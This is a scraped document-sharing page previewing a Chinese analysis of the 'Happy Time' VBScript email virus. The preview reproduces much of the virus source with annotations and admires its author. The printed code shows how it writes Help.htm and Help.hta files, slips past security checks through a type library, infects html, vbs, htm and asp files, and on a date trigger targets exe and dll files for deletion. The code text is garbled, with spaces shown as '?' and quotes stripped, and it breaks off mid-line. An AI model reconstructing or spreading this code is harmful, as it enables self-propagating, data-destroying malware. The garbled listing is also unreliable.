- 3
- 0
- 约1.25万字
- 约 15页
- 2018-08-28 发布于江苏
- 举报
欢乐时光其实就利用了超文本邮件中可以夹带脚本语
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本(HTML)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(Type?Library)成功地避开了安全审核的手段更是令人叹为观止。? 下面让我们来看看它藏在快乐的外衣下的是什么吧!? ***************?欢乐时光?*************** Rem?I?am?sorry!?happy?time On?Error?Resume?Next Mload ’以上为病毒入口,并加上I?am?sorry!?happy?time的注释,以表明此文件已被感染过。 Sub?mload() On?Error?Resume?Next mPath?=?Grf() Set?Os?=?CreateObject(Scriptlet.TypeLib)? Set?Oh?=?CreateObject(Shell.Application) ’建立枚举对象,避开了安全审核 If?IsHTML?Then ’调用IsHtml函数,如果是Html,就小写……? mURL?=?LCase(document.Location) If?mPath?=??Then Os.Reset? Os.Path?=?C:\Help.htm Os.Doc?=?Lhtml() Os.Write() ’如果mPath为空,就在C盘下生成Help.htm Ihtml?=? ’超文本的内容,并指向C:\Help.Htm Call?document.Body.insertAdjacentHTML(AfterBegin,?Ihtml) Else If?Iv(mPath,?Help.vbs)?Then setInterval?Rt(),?10000 Else m?=?hta If?LCase(m)?=?Right(mURL,?Len(m))?Then id?=?setTimeout(mclose(),?1) ’设置超时条件 main Else? Os.Reset() Os.Path?=?mPath??\??Help.hta Os.Doc?=?Lhtml() Os.write() Iv?mPath,?Help.hta ’生成Help.hta End?If End?If End?If Else Main ’都不是,就执行main函数? End?If End?Sub ’****************************************************************** ’以下为主函数,太长了! Sub?main() On?Error?Resume?Next Set?Of?=?CreateObject(Scripting.FileSystemObject) ’不用说,创建FileSystemObject对象啦 Set?Od?=?CreateObject(Scripting.Dictionary) ’创建Dictionary对象,?用来保存数据键和项目对,它实际上是一个比较开放的数组 Od.Add?html,?1100? Od.Add?vbs,?0100 Od.Add?htm,?1100 Od.Add?asp,?0010 ’向Dictionary对象添加要感染的项目对 Ks?=?HKEY_CURRENT_USER\Software\ ’使用变量以减少代码长度? Ds?=?Grf() Cs?=?Gsf() If?IsVbs?Then ’如果是VBS? If?Of.FileExists(C:\help.htm)?Then? Of.DeleteFile?(C:\help.htm) ’如果c:\help.htm存在,就删掉,消灭遗留的痕迹 End?If Key?=?CInt(Month(Date)?+?Day(Date))? If?Key?=?13?Then? ’如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可) Od.RemoveAll Od.Add?exe,?0001 Od.Add?dll,?0001
’就清空Dictionary数组,并将exe、dll加入Dictionary?对象,以备删除之用 End?If Cn?=?Rg(Ks??Hel
您可能关注的文档
- 柴晓峰走出腰椎盘突出症的诊疗误区.ppt
- 柴油发电机安装术交底.doc
- 标普称债限大战不会影响美国评级.doc
- 标题:乙肝治疗关知识推荐.doc
- 校三好学生评选施办法.doc
- 校园文化建设长管理机制.doc
- 校园科技文化艺节总结汇报.doc
- 校园该如何保护慧财产权.doc
- 校本研修力推教学进步及教师发展.ppt
- 校验规则变动说(4-5月份修订版).doc
- 七年级语文上册期末模拟试卷1(解析版).docx
- 七年级语文上册期末模拟试卷1(原卷版).docx
- 七年级语文上册期末模拟试卷2(原卷版).docx
- 七年级语文上册期末模拟试卷2(解析版).docx
- 期末测试卷(二)(解析版)2024—2025学年七年级语文上册期末测试卷(全国版).docx
- 期末测试卷(三)(解析版)2024—2025学年七年级语文上册期末测试卷(全国版).docx
- 期末测试卷(二)(原卷版)2024—2025学年七年级语文上册期末测试卷(全国版).docx
- 期末测试卷(三)(原卷版)2024—2025学年七年级语文上册期末测试卷(全国版).docx
- 期末测试卷(一)(原卷版)2024—2025学年七年级语文上册期末测试卷(全国版).docx
- 期末测试卷(一)(解析版)2024—2025学年七年级语文上册期末测试卷(全国版).docx
最近下载
- 冀教版英语八年级下册目录 带翻译最新.pdf VIP
- 兰州大学《数值分析》2016-2017学年期末试卷.pdf VIP
- 自动化设备设计方案模板.docx VIP
- 江南大学《数值分析》2022-2023学年期末试卷.pdf VIP
- 海绵城市建设工程施工及验收标准.pdf VIP
- 华中农业大学《数值分析》2016-2017学年期末试卷.pdf VIP
- 内蒙古紫宸科技有限公司年产2万吨高性能锂离子电池负极材料建设项目.doc VIP
- 表5.3.3土方回填检验批质量验收记录.doc VIP
- 反医疗歧视培训课件.pptx VIP
- 华南师范大学《数值分析》2017-2018学年期末试卷A卷.pdf VIP
原创力文档

文档评论(0)